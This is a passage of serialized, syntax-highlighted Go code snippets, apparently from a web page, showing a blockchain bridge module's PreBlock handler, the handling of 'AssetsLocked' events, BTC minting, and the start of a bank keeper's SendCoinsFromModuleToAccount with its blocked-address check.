...\n}\n",[85641],{"type":25,"tag":82,"props":85642,"children":85643},{"__ignoreMap":7},[85644,85697,85712,85735,85765,85801,85809,85865,85889,85939,85946,85953,85960,85967,85974,86005,86028,86053,86068,86075,86112,86166,86189,86230,86237,86244,86295,86356,86379,86402,86414,86435,86447,86455,86462,86477,86485,86492,86499,86506,86513,86520,86551,86574,86599,86624,86639,86646,86683,86694,86715,86726,86738,86745,86768,86808,86815,86822],{"type":25,"tag":216,"props":85645,"children":85646},{"class":6916,"line":6917},[85647,85651,85655,85660,85664,85669,85673,85677,85681,85685,85689,85693],{"type":25,"tag":216,"props":85648,"children":85649},{"style":6930},[85650],{"type":31,"value":80266},{"type":25,"tag":216,"props":85652,"children":85653},{"style":6958},[85654],{"type":31,"value":7010},{"type":25,"tag":216,"props":85656,"children":85657},{"style":6941},[85658],{"type":31,"value":85659},"pbh ",{"type":25,"tag":216,"props":85661,"children":85662},{"style":6947},[85663],{"type":31,"value":8513},{"type":25,"tag":216,"props":85665,"children":85666},{"style":7369},[85667],{"type":31,"value":85668},"PreBlockHandler",{"type":25,"tag":216,"props":85670,"children":85671},{"style":6958},[85672],{"type":31,"value":7030},{"type":25,"tag":216,"props":85674,"children":85675},{"style":7041},[85676],{"type":31,"value":85369},{"type":25,"tag":216,"props":85678,"children":85679},{"style":6958},[85680],{"type":31,"value":17994},{"type":25,"tag":216,"props":85682,"children":85683},{"style":7369},[85684],{"type":31,"value":82696},{"type":25,"tag":216,"props":85686,"children":85687},{"style":6958},[85688],{"type":31,"value":179},{"type":25,"tag":216,"props":85690,"children":85691},{"style":7369},[85692],{"type":31,"value":85369},{"type":25,"tag":216,"props":85694,"children":85695},{"style":6958},[85696],{"type":31,"value":7235},{"type":25,"tag":216,"props":85698,"children":85699},{"class":6916,"line":6763},[85700,85704,85708],{"type":25,"tag":216,"props":85701,"children":85702},{"style":6967},[85703],{"type":31,"value":20941},{"type":25,"tag":216,"props":85705,"children":85706},{"style":6930},[85707],{"type":31,"value":83975},{"type":25,"tag":216,"props":85709,"children":85710},{"style":6958},[85711],{"type":31,"value":7414},{"type":25,"tag":216,"props":85713,"children":85714},{"class":6916,"line":6772},[85715,85719,85723,85727,85731],{"type":25,"tag":216,"props":85716,"children":85717},{"style":6941},[85718],{"type":31,"value":30138},{"type":25,"tag":216,"props":85720,"children":85721},{"style":7369},[85722],{"type":31,"value":82607},{"type":25,"tag":216,"props":85724,"children":85725},{"style":6958},[85726],{"type":31,"value":179},{"type":25,"tag":216,"props":85728,"children":85729},{"style":7369},[85730],{"type":31,"value":80315},{"type":25,"tag":216,"props":85732,"children":85733},{"style":6958},[85734],{"type":31,"value":7459},{"type":25,"tag":216,"props":85736,"children":85737},{"class":6916,"line":6999},[85738,85743,85747,85752,85756,85761],{"type":25,"tag":216,"props":85739,"children":85740},{"style":6941},[85741],{"type":31,"value":85742},"        req",{"type":25,"tag":216,"props":85744,"children":85745},{"style":6947},[85746],{"type":31,"value":13767},{"type":25,"tag":216,"props":85748,"children":85749},{"style":7369},[85750],{"type":31,"value":85751},"cmtabci",{"type":25,"tag":216,"props":85753,"children":85754},{"style":6958},[85755],{"type":31,"value":179},{"type":25,"tag":216,"props":85757,"children":85758},{"style":7369},[85759],{"type":31,"value":85760},"RequestFinalizeBlock",{"type":25,"tag":216,"props":85762,"children":85763},{"style":6958},[85764],{"type":31,"value":7459},{"type":25,"tag":216,"props":85766,"children":85767},{"class":6916,"line":7104},[85768,85772,85776,85780,85784,85789,85793,85797],{"type":25,"tag":216,"props":85769,"children":85770},{"style":6958},[85771],{"type":31,"value":84043},{"type":25,"tag":216,"props":85773,"children":85774},{"style":6947},[85775],{"type":31,"value":8513},{"type":25,"tag":216,"props":85777,"children":85778},{"style":7369},[85779],{"type":31,"value":82696},{"type":25,"tag":216,"props":85781,"children":85782},{"style":6958},[85783],{"type":31,"value":179},{"type":25,"tag":216,"props":85785,"children":85786},{"style":7369},[85787],{"type":31,"value":85788},"ResponsePreBlock",{"type":25,"tag":216,"props":85790,"children":85791},{"style":6958},[85792],{"type":31,"value":7020},{"type":25,"tag":216,"props":85794,"children":85795},{"style":7369},[85796],{"type":31,"value":18815},{"type":25,"tag":216,"props":85798,"children":85799},{"style":6958},[85800],{"type":31,"value":18755},{"type":25,"tag":216,"props":85802,"children":85803},{"class":6916,"line":7210},[85804],{"type":25,"tag":216,"props":85805,"children":85806},{"style":6947},[85807],{"type":31,"value":85808},"        ...\n",{"type":25,"tag":216,"props":85810,"children":85811},{"class":6916,"line":7238},[85812,85817,85821,85826,85830,85835,85839,85844,85848,85852,85856,85861],{"type":25,"tag":216,"props":85813,"children":85814},{"style":6941},[85815],{"type":31,"value":85816},"        err",{"type":25,"tag":216,"props":85818,"children":85819},{"style":6947},[85820],{"type":31,"value":80382},{"type":25,"tag":216,"props":85822,"children":85823},{"style":6941},[85824],{"type":31,"value":85825}," pbh",{"type":25,"tag":216,"props":85827,"children":85828},{"style":6958},[85829],{"type":31,"value":179},{"type":25,"tag":216,"props":85831,"children":85832},{"style":6941},[85833],{"type":31,"value":85834},"bridgeKeeper",{"type":25,"tag":216,"props":85836,"children":85837},{"style":6958},[85838],{"type":31,"value":179},{"type":25,"tag":216,"props":85840,"children":85841},{"style":7041},[85842],{"type":31,"value":85843},"AcceptAssetsLocked",{"type":25,"tag":216,"props":85845,"children":85846},{"style":6958},[85847],{"type":31,"value":1844},{"type":25,"tag":216,"props":85849,"children":85850},{"style":6941},[85851],{"type":31,"value":24234},{"type":25,"tag":216,"props":85853,"children":85854},{"style":6958},[85855],{"type":31,"value":7020},{"type":25,"tag":216,"props":85857,"children":85858},{"style":6941},[85859],{"type":31,"value":85860},"events",{"type":25,"tag":216,"props":85862,"children":85863},{"style":6958},[85864],{"type":31,"value":7101},{"type":25,"tag":216,"props":85866,"children":85867},{"class":6916,"line":7251},[85868,85872,85876,85880,85885],{"type":25,"tag":216,"props":85869,"children":85870},{"style":6967},[85871],{"type":31,"value":7216},{"type":25,"tag":216,"props":85873,"children":85874},{"style":6941},[85875],{"type":31,"value":52484},{"type":25,"tag":216,"props":85877,"children":85878},{"style":6947},[85879],{"type":31,"value":68349},{"type":25,"tag":216,"props":85881,"children":85882},{"style":6930},[85883],{"type":31,"value":85884}," nil",{"type":25,"tag":216,"props":85886,"children":85887},{"style":6958},[85888],{"type":31,"value":7235},{"type":25,"tag":216,"props":85890,"children":85891},{"class":6916,"line":7269},[85892,85896,85900,85904,85909,85913,85918,85922,85927,85931,85935],{"type":25,"tag":216,"props":85893,"children":85894},{"style":6967},[85895],{"type":31,"value":83042},{"type":25,"tag":216,"props":85897,"children":85898},{"style":6930},[85899],{"type":31,"value":85884},{"type":25,"tag":216,"props":85901,"children":85902},{"style":6958},[85903],{"type":31,"value":7020},{"type":25,"tag":216,"props":85905,"children":85906},{"style":6941},[85907],{"type":31,"value":85908},"fmt",{"type":25,"tag":216,"props":85910,"children":85911},{"style":6958},[85912],{"type":31,"value":179},{"type":25,"tag":216,"props":85914,"children":85915},{"style":7041},[85916],{"type":31,"value":85917},"Errorf",{"type":25,"tag":216,"props":85919,"children":85920},{"style":6958},[85921],{"type":31,"value":1844},{"type":25,"tag":216,"props":85923,"children":85924},{"style":8199},[85925],{"type":31,"value":85926},"\"cannot accept AssetsLocked events: %w\"",{"type":25,"tag":216,"props":85928,"children":85929},{"style":6958},[85930],{"type":31,"value":7020},{"type":25,"tag":216,"props":85932,"children":85933},{"style":6941},[85934],{"type":31,"value":52383},{"type":25,"tag":216,"props":85936,"children":85937},{"style":6958},[85938],{"type":31,"value":7101},{"type":25,"tag":216,"props":85940,"children":85941},{"class":6916,"line":7290},[85942],{"type":25,"tag":216,"props":85943,"children":85944},{"style":6958},[85945],{"type":31,"value":7296},{"type":25,"tag":216,"props":85947,"children":85948},{"class":6916,"line":7299},[85949],{"type":25,"tag":216,"props":85950,"children":85951},{"style":6947},[85952],{"type":31,"value":85808},{"type":25,"tag":216,"props":85954,"children":85955},{"class":6916,"line":7551},[85956],{"type":25,"tag":216,"props":85957,"children":85958},{"style":6958},[85959],{"type":31,"value":7305},{"type":25,"tag":216,"props":85961,"children":85962},{"class":6916,"line":7568},[85963],{"type":25,"tag":216,"props":85964,"children":85965},{"style":6958},[85966],{"type":31,"value":7868},{"type":25,"tag":216,"props":85968,"children":85969},{"class":6916,"line":7585},[85970],{"type":25,"tag":216,"props":85971,"children":85972},{"emptyLinePlaceholder":16},[85973],{"type":31,"value":7636},{"type":25,"tag":216,"props":85975,"children":85976},{"class":6916,"line":7598},[85977,85981,85985,85989,85993,85997,86001],{"type":25,"tag":216,"props":85978,"children":85979},{"style":6930},[85980],{"type":31,"value":80266},{"type":25,"tag":216,"props":85982,"children":85983},{"style":6958},[85984],{"type":31,"value":7010},{"type":25,"tag":216,"props":85986,"children":85987},{"style":6941},[85988],{"type":31,"value":85094},{"type":25,"tag":216,"props":85990,"children":85991},{"style":7369},[85992],{"type":31,"value":83911},{"type":25,"tag":216,"props":85994,"children":85995},{"style":6958},[85996],{"type":31,"value":7030},{"type":25,"tag":216,"props":85998,"children":85999},{"style":7041},[86000],{"type":31,"value":85843},{"type":25,"tag":216,"props":86002,"children":86003},{"style":6958},[86004],{"type":31,"value":7414},{"type":25,"tag":216,"props":86006,"children":86007},{"class":6916,"line":7607},[86008,86012,86016,86020,86024],{"type":25,"tag":216,"props":86009,"children":86010},{"style":6941},[86011],{"type":31,"value":24177},{"type":25,"tag":216,"props":86013,"children":86014},{"style":7369},[86015],{"type":31,"value":82607},{"type":25,"tag":216,"props":86017,"children":86018},{"style":6958},[86019],{"type":31,"value":179},{"type":25,"tag":216,"props":86021,"children":86022},{"style":7369},[86023],{"type":31,"value":80315},{"type":25,"tag":216,"props":86025,"children":86026},{"style":6958},[86027],{"type":31,"value":7459},{"type":25,"tag":216,"props":86029,"children":86030},{"class":6916,"line":7630},[86031,86036,86040,86044,86049],{"type":25,"tag":216,"props":86032,"children":86033},{"style":6941},[86034],{"type":31,"value":86035},"    events",{"type":25,"tag":216,"props":86037,"children":86038},{"style":7369},[86039],{"type":31,"value":82141},{"type":25,"tag":216,"props":86041,"children":86042},{"style":6958},[86043],{"type":31,"value":179},{"type":25,"tag":216,"props":86045,"children":86046},{"style":7369},[86047],{"type":31,"value":86048},"AssetsLockedEvents",{"type":25,"tag":216,"props":86050,"children":86051},{"style":6958},[86052],{"type":31,"value":7459},{"type":25,"tag":216,"props":86054,"children":86055},{"class":6916,"line":7639},[86056,86060,86064],{"type":25,"tag":216,"props":86057,"children":86058},{"style":6958},[86059],{"type":31,"value":7030},{"type":25,"tag":216,"props":86061,"children":86062},{"style":7369},[86063],{"type":31,"value":18815},{"type":25,"tag":216,"props":86065,"children":86066},{"style":6958},[86067],{"type":31,"value":7235},{"type":25,"tag":216,"props":86069,"children":86070},{"class":6916,"line":7648},[86071],{"type":25,"tag":216,"props":86072,"children":86073},{"style":6947},[86074],{"type":31,"value":24293},{"type":25,"tag":216,"props":86076,"children":86077},{"class":6916,"line":7716},[86078,86082,86086,86090,86095,86099,86103,86108],{"type":25,"tag":216,"props":86079,"children":86080},{"style":6967},[86081],{"type":31,"value":6970},{"type":25,"tag":216,"props":86083,"children":86084},{"style":6941},[86085],{"type":31,"value":6975},{"type":25,"tag":216,"props":86087,"children":86088},{"style":6958},[86089],{"type":31,"value":7020},{"type":25,"tag":216,"props":86091,"children":86092},{"style":6941},[86093],{"type":31,"value":86094},"event",{"type":25,"tag":216,"props":86096,"children":86097},{"style":6947},[86098],{"type":31,"value":80382},{"type":25,"tag":216,"props":86100,"children":86101},{"style":6967},[86102],{"type":31,"value":81365},{"type":25,"tag":216,"props":86104,"children":86105},{"style":6941},[86106],{"type":31,"value":86107}," events",{"type":25,"tag":216,"props":86109,"children":86110},{"style":6958},[86111],{"type":31,"value":7235},{"type":25,"tag":216,"props":86113,"children":86114},{"class":6916,"line":7724},[86115,86120,86124,86128,86132,86136,86140,86145,86149,86153,86157,86162],{"type":25,"tag":216,"props":86116,"children":86117},{"style":6941},[86118],{"type":31,"value":86119},"        recipient",{"type":25,"tag":216,"props":86121,"children":86122},{"style":6958},[86123],{"type":31,"value":7020},{"type":25,"tag":216,"props":86125,"children":86126},{"style":6941},[86127],{"type":31,"value":52383},{"type":25,"tag":216,"props":86129,"children":86130},{"style":6947},[86131],{"type":31,"value":80382},{"type":25,"tag":216,"props":86133,"children":86134},{"style":6941},[86135],{"type":31,"value":82607},{"type":25,"tag":216,"props":86137,"children":86138},{"style":6958},[86139],{"type":31,"value":179},{"type":25,"tag":216,"props":86141,"children":86142},{"style":7041},[86143],{"type":31,"value":86144},"AccAddressFromBech32",{"type":25,"tag":216,"props":86146,"children":86147},{"style":6958},[86148],{"type":31,"value":1844},{"type":25,"tag":216,"props":86150,"children":86151},{"style":6941},[86152],{"type":31,"value":86094},{"type":25,"tag":216,"props":86154,"children":86155},{"style":6958},[86156],{"type":31,"value":179},{"type":25,"tag":216,"props":86158,"children":86159},{"style":6941},[86160],{"type":31,"value":86161},"Recipient",{"type":25,"tag":216,"props":86163,"children":86164},{"style":6958},[86165],{"type":31,"value":7101},{"type":25,"tag":216,"props":86167,"children":86168},{"class":6916,"line":7754},[86169,86173,86177,86181,86185],{"type":25,"tag":216,"props":86170,"children":86171},{"style":6967},[86172],{"type":31,"value":7216},{"type":25,"tag":216,"props":86174,"children":86175},{"style":6941},[86176],{"type":31,"value":52484},{"type":25,"tag":216,"props":86178,"children":86179},{"style":6947},[86180],{"type":31,"value":68349},{"type":25,"tag":216,"props":86182,"children":86183},{"style":6930},[86184],{"type":31,"value":85884},{"type":25,"tag":216,"props":86186,"children":86187},{"style":6958},[86188],{"type":31,"value":7235},{"type":25,"tag":216,"props":86190,"children":86191},{"class":6916,"line":7762},[86192,86196,86201,86205,86209,86213,86218,86222,86226],{"type":25,"tag":216,"props":86193,"children":86194},{"style":6967},[86195],{"type":31,"value":83042},{"type":25,"tag":216,"props":86197,"children":86198},{"style":6941},[86199],{"type":31,"value":86200}," fmt",{"type":25,"tag":216,"props":86202,"children":86203},{"style":6958},[86204],{"type":31,"value":179},{"type":25,"tag":216,"props":86206,"children":86207},{"style":7041},[86208],{"type":31,"value":85917},{"type":25,"tag":216,"props":86210,"children":86211},{"style":6958},[86212],{"type":31,"value":1844},{"type":25,"tag":216,"props":86214,"children":86215},{"style":8199},[86216],{"type":31,"value":86217},"\"failed to parse recipient address: %w\"",{"type":25,"tag":216,"props":86219,"children":86220},{"style":6958},[86221],{"type":31,"value":7020},{"type":25,"tag":216,"props":86223,"children":86224},{"style":6941},[86225],{"type":31,"value":52383},{"type":25,"tag":216,"props":86227,"children":86228},{"style":6958},[86229],{"type":31,"value":7101},{"type":25,"tag":216,"props":86231,"children":86232},{"class":6916,"line":7794},[86233],{"type":25,"tag":216,"props":86234,"children":86235},{"style":6958},[86236],{"type":31,"value":7296},{"type":25,"tag":216,"props":86238,"children":86239},{"class":6916,"line":7802},[86240],{"type":25,"tag":216,"props":86241,"children":86242},{"emptyLinePlaceholder":16},[86243],{"type":31,"value":7636},{"type":25,"tag":216,"props":86245,"children":86246},{"class":6916,"line":7862},[86247,86251,86256,86260,86265,86269,86273,86277,86282,86286,86291],{"type":25,"tag":216,"props":86248,"children":86249},{"style":6967},[86250],{"type":31,"value":7216},{"type":25,"tag":216,"props":86252,"children":86253},{"style":6941},[86254],{"type":31,"value":86255}," bytes",{"type":25,"tag":216,"props":86257,"children":86258},{"style":6958},[86259],{"type":31,"value":179},{"type":25,"tag":216,"props":86261,"children":86262},{"style":7041},[86263],{"type":31,"value":86264},"Equal",{"type":25,"tag":216,"props":86266,"children":86267},{"style":6958},[86268],{"type":31,"value":1844},{"type":25,"tag":216,"props":86270,"children":86271},{"style":6941},[86272],{"type":31,"value":86094},{"type":25,"tag":216,"props":86274,"children":86275},{"style":6958},[86276],{"type":31,"value":179},{"type":25,"tag":216,"props":86278,"children":86279},{"style":7041},[86280],{"type":31,"value":86281},"TokenBytes",{"type":25,"tag":216,"props":86283,"children":86284},{"style":6958},[86285],{"type":31,"value":22328},{"type":25,"tag":216,"props":86287,"children":86288},{"style":6941},[86289],{"type":31,"value":86290},"sourceBTCToken",{"type":25,"tag":216,"props":86292,"children":86293},{"style":6958},[86294],{"type":31,"value":18755},{"type":25,"tag":216,"props":86296,"children":86297},{"class":6916,"line":12995},[86298,86303,86307,86311,86315,86320,86324,86328,86332,86336,86340,86344,86348,86352],{"type":25,"tag":216,"props":86299,"children":86300},{"style":6941},[86301],{"type":31,"value":86302},"            err",{"type":25,"tag":216,"props":86304,"children":86305},{"style":6947},[86306],{"type":31,"value":6950},{"type":25,"tag":216,"props":86308,"children":86309},{"style":6941},[86310],{"type":31,"value":85222},{"type":25,"tag":216,"props":86312,"children":86313},{"style":6958},[86314],{"type":31,"value":179},{"type":25,"tag":216,"props":86316,"children":86317},{"style":7041},[86318],{"type":31,"value":86319},"mintBTC",{"type":25,"tag":216,"props":86321,"children":86322},{"style":6958},[86323],{"type":31,"value":1844},{"type":25,"tag":216,"props":86325,"children":86326},{"style":6941},[86327],{"type":31,"value":24234},{"type":25,"tag":216,"props":86329,"children":86330},{"style":6958},[86331],{"type":31,"value":7020},{"type":25,"tag":216,"props":86333,"children":86334},{"style":6941},[86335],{"type":31,"value":85617},{"type":25,"tag":216,"props":86337,"children":86338},{"style":6958},[86339],{"type":31,"value":7020},{"type":25,"tag":216,"props":86341,"children":86342},{"style":6941},[86343],{"type":31,"value":86094},{"type":25,"tag":216,"props":86345,"children":86346},{"style":6958},[86347],{"type":31,"value":179},{"type":25,"tag":216,"props":86349,"children":86350},{"style":6941},[86351],{"type":31,"value":83021},{"type":25,"tag":216,"props":86353,"children":86354},{"style":6958},[86355],{"type":31,"value":7101},{"type":25,"tag":216,"props":86357,"children":86358},{"class":6916,"line":13013},[86359,86363,86367,86371,86375],{"type":25,"tag":216,"props":86360,"children":86361},{"style":6967},[86362],{"type":31,"value":62762},{"type":25,"tag":216,"props":86364,"children":86365},{"style":6941},[86366],{"type":31,"value":52484},{"type":25,"tag":216,"props":86368,"children":86369},{"style":6947},[86370],{"type":31,"value":68349},{"type":25,"tag":216,"props":86372,"children":86373},{"style":6930},[86374],{"type":31,"value":85884},{"type":25,"tag":216,"props":86376,"children":86377},{"style":6958},[86378],{"type":31,"value":7235},{"type":25,"tag":216,"props":86380,"children":86381},{"class":6916,"line":13058},[86382,86386,86390,86394,86398],{"type":25,"tag":216,"props":86383,"children":86384},{"style":6967},[86385],{"type":31,"value":64690},{"type":25,"tag":216,"props":86387,"children":86388},{"style":6941},[86389],{"type":31,"value":86200},{"type":25,"tag":216,"props":86391,"children":86392},{"style":6958},[86393],{"type":31,"value":179},{"type":25,"tag":216,"props":86395,"children":86396},{"style":7041},[86397],{"type":31,"value":85917},{"type":25,"tag":216,"props":86399,"children":86400},{"style":6958},[86401],{"type":31,"value":7414},{"type":25,"tag":216,"props":86403,"children":86404},{"class":6916,"line":13164},[86405,86410],{"type":25,"tag":216,"props":86406,"children":86407},{"style":8199},[86408],{"type":31,"value":86409},"                    \"failed to mint BTC for event %v: %w\"",{"type":25,"tag":216,"props":86411,"children":86412},{"style":6958},[86413],{"type":31,"value":7459},{"type":25,"tag":216,"props":86415,"children":86416},{"class":6916,"line":27449},[86417,86422,86426,86431],{"type":25,"tag":216,"props":86418,"children":86419},{"style":6941},[86420],{"type":31,"value":86421},"                    event",{"type":25,"tag":216,"props":86423,"children":86424},{"style":6958},[86425],{"type":31,"value":179},{"type":25,"tag":216,"props":86427,"children":86428},{"style":6941},[86429],{"type":31,"value":86430},"Sequence",{"type":25,"tag":216,"props":86432,"children":86433},{"style":6958},[86434],{"type":31,"value":7459},{"type":25,"tag":216,"props":86436,"children":86437},{"class":6916,"line":27484},[86438,86443],{"type":25,"tag":216,"props":86439,"children":86440},{"style":6941},[86441],{"type":31,"value":86442},"                    err",{"type":25,"tag":216,"props":86444,"children":86445},{"style":6958},[86446],{"type":31,"value":7459},{"type":25,"tag":216,"props":86448,"children":86449},{"class":6916,"line":27492},[86450],{"type":25,"tag":216,"props":86451,"children":86452},{"style":6958},[86453],{"type":31,"value":86454},"                )\n",{"type":25,"tag":216,"props":86456,"children":86457},{"class":6916,"line":27500},[86458],{"type":25,"tag":216,"props":86459,"children":86460},{"style":6958},[86461],{"type":31,"value":62846},{"type":25,"tag":216,"props":86463,"children":86464},{"class":6916,"line":27509},[86465,86469,86473],{"type":25,"tag":216,"props":86466,"children":86467},{"style":6958},[86468],{"type":31,"value":7257},{"type":25,"tag":216,"props":86470,"children":86471},{"style":6967},[86472],{"type":31,"value":7262},{"type":25,"tag":216,"props":86474,"children":86475},{"style":6958},[86476],{"type":31,"value":7235},{"type":25,"tag":216,"props":86478,"children":86479},{"class":6916,"line":27551},[86480],{"type":25,"tag":216,"props":86481,"children":86482},{"style":6947},[86483],{"type":31,"value":86484},"            ...\n",{"type":25,"tag":216,"props":86486,"children":86487},{"class":6916,"line":27584},[86488],{"type":25,"tag":216,"props":86489,"children":86490},{"style":6958},[86491],{"type":31,"value":7296},{"type":25,"tag":216,"props":86493,"children":86494},{"class":6916,"line":27592},[86495],{"type":25,"tag":216,"props":86496,"children":86497},{"style":6958},[86498],{"type":31,"value":7305},{"type":25,"tag":216,"props":86500,"children":86501},{"class":6916,"line":27600},[86502],{"type":25,"tag":216,"props":86503,"children":86504},{"style":6947},[86505],{"type":31,"value":24293},{"type":25,"tag":216,"props":86507,"children":86508},{"class":6916,"line":27609},[86509],{"type":25,"tag":216,"props":86510,"children":86511},{"style":6958},[86512],{"type":31,"value":7868},{"type":25,"tag":216,"props":86514,"children":86515},{"class":6916,"line":27685},[86516],{"type":25,"tag":216,"props":86517,"children":86518},{"emptyLinePlaceholder":16},[86519],{"type":31,"value":7636},{"type":25,"tag":216,"props":86521,"children":86522},{"class":6916,"line":27718},[86523,86527,86531,86535,86539,86543,86547],{"type":25,"tag":216,"props":86524,"children":86525},{"style":6930},[86526],{"type":31,"value":80266},{"type":25,"tag":216,"props":86528,"children":86529},{"style":6958},[86530],{"type":31,"value":7010},{"type":25,"tag":216,"props":86532,"children":86533},{"style":6941},[86534],{"type":31,"value":85094},{"type":25,"tag":216,"props":86536,"children":86537},{"style":7369},[86538],{"type":31,"value":83911},{"type":25,"tag":216,"props":86540,"children":86541},{"style":6958},[86542],{"type":31,"value":7030},{"type":25,"tag":216,"props":86544,"children":86545},{"style":7041},[86546],{"type":31,"value":86319},{"type":25,"tag":216,"props":86548,"children":86549},{"style":6958},[86550],{"type":31,"value":7414},{"type":25,"tag":216,"props":86552,"children":86553},{"class":6916,"line":27726},[86554,86558,86562,86566,86570],{"type":25,"tag":216,"props":86555,"children":86556},{"style":6941},[86557],{"type":31,"value":24177},{"type":25,"tag":216,"props":86559,"children":86560},{"style":7369},[86561],{"type":31,"value":82607},{"type":25,"tag":216,"props":86563,"children":86564},{"style":6958},[86565],{"type":31,"value":179},{"type":25,"tag":216,"props":86567,"children":86568},{"style":7369},[86569],{"type":31,"value":80315},{"type":25,"tag":216,"props":86571,"children":86572},{"style":6958},[86573],{"type":31,"value":7459},{"type":25,"tag":216,"props":86575,"children":86576},{"class":6916,"line":27734},[86577,86582,86586,86590,86595],{"type":25,"tag":216,"props":86578,"children":86579},{"style":6941},[86580],{"type":31,"value":86581},"    recipient",{"type":25,"tag":216,"props":86583,"children":86584},{"style":7369},[86585],{"type":31,"value":82607},{"type":25,"tag":216,"props":86587,"children":86588},{"style":6958},[86589],{"type":31,"value":179},{"type":25,"tag":216,"props":86591,"children":86592},{"style":7369},[86593],{"type":31,"value":86594},"AccAddress",{"type":25,"tag":216,"props":86596,"children":86597},{"style":6958},[86598],{"type":31,"value":7459},{"type":25,"tag":216,"props":86600,"children":86601},{"class":6916,"line":27771},[86602,86606,86611,86615,86620],{"type":25,"tag":216,"props":86603,"children":86604},{"style":6941},[86605],{"type":31,"value":65544},{"type":25,"tag":216,"props":86607,"children":86608},{"style":7369},[86609],{"type":31,"value":86610}," math",{"type":25,"tag":216,"props":86612,"children":86613},{"style":6958},[86614],{"type":31,"value":179},{"type":25,"tag":216,"props":86616,"children":86617},{"style":7369},[86618],{"type":31,"value":86619},"Int",{"type":25,"tag":216,"props":86621,"children":86622},{"style":6958},[86623],{"type":31,"value":7459},{"type":25,"tag":216,"props":86625,"children":86626},{"class":6916,"line":27784},[86627,86631,86635],{"type":25,"tag":216,"props":86628,"children":86629},{"style":6958},[86630],{"type":31,"value":7030},{"type":25,"tag":216,"props":86632,"children":86633},{"style":7369},[86634],{"type":31,"value":18815},{"type":25,"tag":216,"props":86636,"children":86637},{"style":6958},[86638],{"type":31,"value":7235},{"type":25,"tag":216,"props":86640,"children":86641},{"class":6916,"line":27797},[86642],{"type":25,"tag":216,"props":86643,"children":86644},{"style":6947},[86645],{"type":31,"value":24293},{"type":25,"tag":216,"props":86647,"children":86648},{"class":6916,"line":27810},[86649,86654,86658,86662,86666,86671,86675,86679],{"type":25,"tag":216,"props":86650,"children":86651},{"style":6941},[86652],{"type":31,"value":86653},"    err",{"type":25,"tag":216,"props":86655,"children":86656},{"style":6947},[86657],{"type":31,"value":6950},{"type":25,"tag":216,"props":86659,"children":86660},{"style":6941},[86661],{"type":31,"value":85222},{"type":25,"tag":216,"props":86663,"children":86664},{"style":6958},[86665],{"type":31,"value":179},{"type":25,"tag":216,"props":86667,"children":86668},{"style":6941},[86669],{"type":31,"value":86670},"bankKeeper",{"type":25,"tag":216,"props":86672,"children":86673},{"style":6958},[86674],{"type":31,"value":179},{"type":25,"tag":216,"props":86676,"children":86677},{"style":7041},[86678],{"type":31,"value":85609},{"type":25,"tag":216,"props":86680,"children":86681},{"style":6958},[86682],{"type":31,"value":7414},{"type":25,"tag":216,"props":86684,"children":86685},{"class":6916,"line":27864},[86686,86690],{"type":25,"tag":216,"props":86687,"children":86688},{"style":6941},[86689],{"type":31,"value":30138},{"type":25,"tag":216,"props":86691,"children":86692},{"style":6958},[86693],{"type":31,"value":7459},{"type":25,"tag":216,"props":86695,"children":86696},{"class":6916,"line":27873},[86697,86702,86706,86711],{"type":25,"tag":216,"props":86698,"children":86699},{"style":6941},[86700],{"type":31,"value":86701},"        types",{"type":25,"tag":216,"props":86703,"children":86704},{"style":6958},[86705],{"type":31,"value":179},{"type":25,"tag":216,"props":86707,"children":86708},{"style":6941},[86709],{"type":31,"value":86710},"ModuleName",{"type":25,"tag":216,"props":86712,"children":86713},{"style":6958},[86714],{"type":31,"value":7459},{"type":25,"tag":216,"props":86716,"children":86717},{"class":6916,"line":36237},[86718,86722],{"type":25,"tag":216,"props":86719,"children":86720},{"style":6941},[86721],{"type":31,"value":86119},{"type":25,"tag":216,"props":86723,"children":86724},{"style":6958},[86725],{"type":31,"value":7459},{"type":25,"tag":216,"props":86727,"children":86728},{"class":6916,"line":36258},[86729,86734],{"type":25,"tag":216,"props":86730,"children":86731},{"style":6941},[86732],{"type":31,"value":86733},"        coins",{"type":25,"tag":216,"props":86735,"children":86736},{"style":6958},[86737],{"type":31,"value":7459},{"type":25,"tag":216,"props":86739,"children":86740},{"class":6916,"line":84917},[86741],{"type":25,"tag":216,"props":86742,"children":86743},{"style":6958},[86744],{"type":31,"value":27870},{"type":25,"tag":216,"props":86746,"children":86747},{"class":6916,"line":84930},[86748,86752,86756,86760,86764],{"type":25,"tag":216,"props":86749,"children":86750},{"style":6967},[86751],{"type":31,"value":16229},{"type":25,"tag":216,"props":86753,"children":86754},{"style":6941},[86755],{"type":31,"value":52484},{"type":25,"tag":216,"props":86757,"children":86758},{"style":6947},[86759],{"type":31,"value":68349},{"type":25,"tag":216,"props":86761,"children":86762},{"style":6930},[86763],{"type":31,"value":85884},{"type":25,"tag":216,"props":86765,"children":86766},{"style":6958},[86767],{"type":31,"value":7235},{"type":25,"tag":216,"props":86769,"children":86770},{"class":6916,"line":84938},[86771,86775,86779,86783,86787,86791,86796,86800,86804],{"type":25,"tag":216,"props":86772,"children":86773},{"style":6967},[86774],{"type":31,"value":19696},{"type":25,"tag":216,"props":86776,"children":86777},{"style":6941},[86778],{"type":31,"value":86200},{"type":25,"tag":216,"props":86780,"children":86781},{"style":6958},[86782],{"type":31,"value":179},{"type":25,"tag":216,"props":86784,"children":86785},{"style":7041},[86786],{"type":31,"value":85917},{"type":25,"tag":216,"props":86788,"children":86789},{"style":6958},[86790],{"type":31,"value":1844},{"type":25,"tag":216,"props":86792,"children":86793},{"style":8199},[86794],{"type":31,"value":86795},"\"failed to send coins: %w\"",{"type":25,"tag":216,"props":86797,"children":86798},{"style":6958},[86799],{"type":31,"value":7020},{"type":25,"tag":216,"props":86801,"children":86802},{"style":6941},[86803],{"type":31,"value":52383},{"type":25,"tag":216,"props":86805,"children":86806},{"style":6958},[86807],{"type":31,"value":7101},{"type":25,"tag":216,"props":86809,"children":86810},{"class":6916,"line":84946},[86811],{"type":25,"tag":216,"props":86812,"children":86813},{"style":6958},[86814],{"type":31,"value":7305},{"type":25,"tag":216,"props":86816,"children":86817},{"class":6916,"line":84954},[86818],{"type":25,"tag":216,"props":86819,"children":86820},{"style":6947},[86821],{"type":31,"value":24293},{"type":25,"tag":216,"props":86823,"children":86824},{"class":6916,"line":84994},[86825],{"type":25,"tag":216,"props":86826,"children":86827},{"style":6958},[86828],{"type":31,"value":7868},{"type":25,"tag":206,"props":86830,"children":86832},{"code":86831,"language":80130,"meta":7,"className":80131,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return 